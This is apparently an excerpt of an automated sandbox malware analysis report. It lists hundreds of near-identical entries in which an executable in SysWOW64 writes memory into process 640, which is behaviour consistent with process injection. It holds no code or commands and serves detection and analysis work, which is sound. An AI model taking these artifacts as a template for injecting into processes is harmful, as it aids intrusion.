Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E7B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8340000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 7FE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 86D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 86F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8300000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 83A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8FA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8FB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8FC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8FD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8FE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8FF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9000000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9010000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9270000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9280000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9290000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 92A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 92B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 92C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 92D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 92E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 92F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9300000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9310000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9320000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9330000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9350000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9360000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9450000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9460000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9470000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9480000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9490000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 94A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 94B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 94E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 94F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 94D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9500000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9510000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9520000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9530000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9540000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BBC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BBD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BBE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BBF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BC90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BCA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BCB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BCC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BDD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BDE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BDF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BE00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BE10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BD70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BD80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BD90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BE20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BE30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C8C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C8D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BD50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BD60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BDA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BDB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BDC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C8E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C8F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C900000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C910000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C920000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C930000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C940000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C950000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C960000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C970000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C980000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C990000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C9A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C9B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E4C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E4D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E840000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E850000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E860000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E870000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E880000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E890000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E8A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E8B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E8C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E8D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E8E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E8F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E900000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E910000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E920000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E930000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E940000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E950000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E960000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E970000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E980000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E990000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E9A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E9B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E9C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E9D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 83F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9340000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E9E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E9F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EA90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EAA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EAB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EAC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EAD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EAE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EAF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EB90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EBA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EBB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EBC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EBD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EBE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EBF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EC90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ECA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ECB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ECC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ECD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ECE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ECF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ED90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EDA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EDE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EDF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FEC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FED0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FEE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FEF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FF90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FFA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FFB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FFC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FFD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FFE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: FFF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10000000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10010000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10020000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10030000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10040000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10050000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10060000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10070000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10080000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10090000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 100A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 100B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 100C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 100D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 100E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 100F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10100000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10110000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10120000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10130000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10140000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10150000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10160000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10170000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10180000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 10190000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 101A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 101B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 101C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 101D0000 value: 43	Jump to behavior
